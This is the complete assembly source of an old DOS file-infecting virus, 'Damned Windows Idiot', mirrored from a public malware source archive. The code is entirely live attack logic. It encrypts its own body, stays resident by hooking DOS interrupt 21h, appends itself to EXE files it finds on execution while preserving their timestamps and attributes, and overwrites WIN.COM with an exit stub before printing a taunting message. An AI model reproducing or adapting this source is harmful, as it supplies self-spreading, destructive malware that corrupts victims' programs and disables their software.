mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
477 lines
18 KiB
NASM
477 lines
18 KiB
NASM
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; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows...
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; [] ][ [] [] []
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; [] [] [] [] [] An original Viral Artform by
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; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of
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; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703!
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; [][] ][ ][ [][][]
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; "Hey, you... with the shitty logo... Yeah, you! Get over here!"
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.model tiny
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.code
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org 100h
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id_word equ '1V' ; Marker Word
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; V1 in Lil' Endian
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entry:
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mov bx, offset endcrypt ; Virus Start
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mov cx, (end_write-endcrypt)/2 ; Ieterations
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Valu:
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mov dx, 0000h ; Xor Word
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Crypt_Loop:
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xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd)
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ror word ptr cs:[bx], 1 ; Roll it Right!
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inc bx
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inc bx
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loop Crypt_Loop
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EndCrypt:
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push ds es ; Save Segments
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push cs cs ; CS=DS=ES
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pop ds es
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mov ax, 0ABCDh ; R-U-There?
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int 21h
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cmp ax, 6969h ; Ax=6969h Vir_Ident
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jne put_vir_in_mem ; No.
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exit:
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pop es ds ; Restore Segments
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mov ax, es ; AX = PSP segment
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add ax, 10h ; Adjust for PSP
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mov cx, ax
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add ax, word ptr cs:[stacksave] ; Adjust SS
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cli
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mov sp, word ptr cs:[stacksave+2] ; Set SP
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mov ss, ax ; Set SS
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sti
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mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg
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add bx, cx
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push bx ; Save It
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mov bx, word ptr cs:[jmpsave] ; Load IP
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push bx ; Save It
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retf ; Exit Virus
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jmpsave dd 0fff00000h ; Point to INT 20h
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stacksave dd ? ; Nada.
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put_vir_in_mem:
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xor ax,ax ; Interrupt Table
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mov ds,ax
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les bx, dword ptr ds:[21h*4] ; Int 21h Vector
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mov word ptr cs:[old_int_21], bx ; Save Int 21h
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mov word ptr ds:[30h*4],bx ; Revector 30h
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mov word ptr cs:[old_int_21+2], es
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mov word ptr ds:[30h*4+2], es
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push cs cs ; Restore Segments
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pop es ds
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mov ax, 5800h ; Get Mem Alloc
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int 21h
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push ax ; Save Strategy
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mov bx, 2
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mov ax, 5801h ; Set to Last Fit
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int 21h
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mov bx, ((end_vir - entry) / 16) + 1
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mov ah, 48h ; Allocate Block
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int 21h
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push ax ; Returned in AX
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sub ax, 10h ; Base Ofs 100h
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mov es, ax ; Our Segment
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mov di, 100h ; Entry = 100h
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mov si, di ; Entry = 100h
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mov cx, end_write - entry ; Bytes to Zopy
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rep movsb
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xor cx, cx ; Interrupt Table
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push cx
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pop ds
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cli
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mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h
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mov word ptr ds:[21h*4+2], ax
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sti
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pop ax
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sub ax, 1
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mov es, ax ; Point To MCB
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mov word ptr es:[0001], 0008 ; Config = 0008h
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mov ax, 5801h ; Reset Strategy
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pop bx
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int 21h
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jmp exit ; Exit Stub
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int_21_handler:
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push ax bx cx dx si di bp es ds ; Save Registers
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cmp ax, 0ABCDh ; R-U-There?
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je r_u_there
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cmp ax, 4B00h ; DOS Exec?
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je exec_call
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back_to_dos:
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pop ds es bp di si dx cx bx ax ; Restore Registers
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db 0eah ; JMP XXXX:YYYY
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old_int_21 dd ?
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remove_locks:
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xor ax,ax ; Interrupt Table
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mov ds,ax
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les ax, dword ptr cs:[Old24] ; Get Int 24h Vector
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mov word ptr ds:[24h*4], Ax ; And Replace It
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mov word ptr ds:[24h*4+2], Es
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jmp back_to_dos
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r_u_there:
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mov bp, sp ; Alter AX On Stack
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mov word ptr [bp+10h], 6969h
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jmp end_int_21
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exec_call:
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xor ax,ax ; Revector Int 24h
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mov ds,ax
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les ax, DWord Ptr ds:[24h*4]
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mov word ptr cs:[Old24], ax ; Save Old Vector
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mov word ptr cs:[Old24+2], es
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mov word ptr ds:[24h*4], Offset My24 ; With Our Vector
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mov word ptr ds:[24h*4+2], cs
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pop es ; Caller's Ds in Es
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push es
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mov di, dx ; ES:DI -> filename
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push cs
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pop ds ; DS:SI -> "WIN.COM"
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mov si, offset win_com
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push si
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find_top:
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pop si
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push si
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lodsb ; AL = "W"
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mov cx, 128
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repnz scasb ; Scan For "W"
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je check_it ; Got a "W", Check It
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pop si
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jmp infect ; Not WIN.COM
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check_it:
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mov cl, 7
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check_char:
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lodsb ; Load Next Character
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scasb ; and Check it
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jne find_top ; Leave if < >
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loop check_char
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pop si
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nuke_windows:
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push es
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pop ds
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mov ax, 3d02h ; Open WIN.COM
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int 30h
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xchg ax,bx ; Handle in BX
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push cs
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pop ds
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mov ah, 40h ; Write WIN.COM
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mov cx, (my24-win_exit)-1
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mov dx, offset win_exit ; with CD 20h
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int 30h
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mov ah, 3eh ; Close File
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int 30h
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mov ah, 9 ; Show User Message
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mov dx, offset win_msg
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int 30h
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end_int_21:
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pop ds es bp di si dx cx bx ax ; Restore Registers
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iret
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infect: ; File Infection
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push es
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pop ds
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mov si, dx ; DS:SI -> filename
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push cs
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pop es
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mov di, offset fname
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LoopAgain: ; Copy filename into
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lodsb ; Our CodeSeg.
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stosb
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or al,al
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jnz LoopAgain
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push cs ; CS=DS=ES
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pop ds
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xor ax, ax ; Get Attributes
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call attributes
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mov word ptr [fattr], cx ; Save Attributes
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mov ax, 3D00h ; Open File
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int 30h
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jc bad_exe
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xchg ax, bx ; BX = File Handle
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mov ax, 5700h ; Get File Date/Time
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int 30h
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mov ftime, cx ; Save Time
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mov fdate, dx ; And Date
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mov ah, 3Fh ; Read Header
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mov cx, 1ah
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mov dx, offset buffer ; Into Buffer
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int 30h
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call LSeekEnd ; LSeek the End
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push dx ; Save File Size
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push ax
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mov ah, 3Eh ; Close File
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int 30h
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cmp word ptr [buffer], 'ZM'
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jne worse_exe ; Not an EXE File
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cmp word ptr [buffer+12h], id_word
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jne good_exe ; Not Infected
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worse_exe:
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pop dx ; Remove Saved File
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pop dx ; Size
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bad_exe:
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jmp remove_locks ; Abort Infection
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good_exe:
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mov al, 01h ; Overwrite Attribs
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xor cx, cx
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call attributes
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jc worse_exe ; Catch Write-Prot
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; Discs Here
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push cs
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pop es
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mov si, offset buffer + 14h ; Save Initial CS:IP
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mov di, offset jmpsave ; In Segment
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movsw
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movsw
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sub si, 10 ; Save Initial SS:SP
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movsw
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movsw
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pop ax dx ; Retrive File Size
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push ax dx ; Save It
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add ax, offset end_write - offset entry
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adc dx, 0
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mov cx, 512 ; Pages 512 Bytes
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div cx
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or dx, dx
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jz no_round
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inc ax ; Rounding Quirk
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no_round:
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mov word ptr [buffer + 4], ax ; Set Total 512 pages
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mov word ptr [buffer + 2], dx ; Set Total mod 512
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mov ax, word ptr [buffer + 0Ah] ; Get Minimum
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add ax, (end_write - entry)/16 ; Add our Size
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mov word ptr [buffer + 0ah], ax ; Put us in Minimum
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mov word ptr [buffer + 0ch], ax ; and in the Maximum
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pop dx ax ; Retrieve File Size
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mov cl, 4
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mov bx, word ptr [buffer + 8]
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shl bx, cl ; BX = Header Size
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sub ax, bx
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sbb dx, 0 ; Subtract Header
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mov cx, 10h
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div cx ; Change To Para/Rem
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or dx, dx
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jz no_padding
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sub cx, dx ; CX = Bytes to Pad
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inc ax
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no_padding:
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push cx ; Save Pad Bytes
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sub ax, 10h
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mov word ptr [buffer + 14h], offset entry ; Set IP
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mov word ptr [buffer + 16h], ax ; Set CS
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mov word ptr [buffer + 0Eh], ax ; Set SS
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mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP
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move_id:
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mov word ptr [buffer + 12h], id_word ; Set ID Word
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; Negative Checksum
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mov ax, 3D02h ; Open File
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mov dx, offset fname
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int 30h
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xchg ax, bx ; BX = File Handle
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mov ah, 40h ; Write File
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mov cx, 1Ah
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mov dx, offset buffer
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int 30h
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call LSeekEnd ; LSeek to End
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pop cx ; Retrieve Padding
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cmp cx, 16
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je no_fixup ; None Needed
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mov ah, 40h ; Write File
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int 30h
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no_fixup:
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mov ah, 2ch ; Get Time
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int 21h
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mov word ptr [Valu+1], Dx ; New Crypt Valu
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mov si, offset writeret ; Copy Write
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mov di, offset tempcrypt ; Routine
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mov cx, (end_write-writeret)
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rep movsb
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call tempcrypt ; Call Write Routine
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mov ax, 5701h ; Set File Time/Date
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mov cx, ftime
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mov dx, fdate
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int 30h
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mov ah, 3Eh ; Close File
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int 30h
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mov al, 01h ; Reset Attribs
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mov cx, fattr
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call attributes
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jmp remove_locks ; Remove Int 24h
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vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author
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db 'The Attitude Adjuster' ; Idents
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vir_group db 0,'Virulent Graffiti',0 ; Group Ident
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win_com db 'WIN.COM',0 ; Target File
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win_exit db 0cdh, 20h ; DOS Exit
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win_msg db 0dh,0ah ; Message
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db 'You''ve been caught, you DWI! You''re nothing '
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db 'but a Damn Windows Idiot!',0dh,0ah
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db 'Well, we at Virulent Graffiti have had it... '
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db 'you''re not going to be',0dh,0ah
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db 'running that bullshit for a while, ''cuz, hey, '
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db 'friends don''t let friends',0dh,0ah
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db 'use Windows! (and you''re damn right we''re '
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db 'your friends!)',0dh,0ah,'$'
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my24: ; Error Handler
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mov al, 3 ; Process Terminate
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iret
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Attributes: ; Get/Set
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mov ah, 43h
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mov dx, offset fname
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int 30h
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ret
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LSeekEnd:
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mov ax, 4202h ; LSeek from End
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xor cx, cx
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cwd ; XOR DX, DX
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int 30h ; Kudos DA
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ret
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WriteRet:
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push bx ; Handle
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mov bx, offset endcrypt ; Virus Start
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mov cx, (end_write-endcrypt)/2 ; Ieterations
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mov dx, Word Ptr [Valu+1] ; Xor Word
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Crypt_Loop2:
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rol word ptr [bx], 1 ; Roll it Left!
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xor word ptr [bx], dx ; Xor It
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inc bx
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inc bx
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loop Crypt_Loop2
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pop bx ; Handle
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mov ah, 40h ; Write File
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mov cx, end_write - entry
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mov dx, offset entry
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int 30h
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push bx ; Handle
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mov bx, offset endcrypt ; Virus Start
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mov cx, (end_write-endcrypt)/2 ; Ieterations
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mov dx, Word Ptr [Valu+1] ; Xor Word
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Crypt_Loop3:
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xor word ptr [bx], dx ; Xor It
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ror word ptr [bx], 1 ; Roll it Left!
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inc bx
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inc bx
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loop Crypt_Loop3
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pop bx ; Handle
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ret ; Return
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end_write:
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old24 dd 0 ; Int 24h Vector
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buffer db 1Ah dup (0) ; EXE Read Buffer
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fname db 128 dup (0) ; Filename Buffer
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fdate dw 0 ; OldFileDate
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ftime dw 0 ; OldFileTime
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fattr dw 0 ; OldFileAttr
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tempcrypt:
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db (end_write-writeret) Dup(0) ; Write Routine
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end_vir:
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end entry
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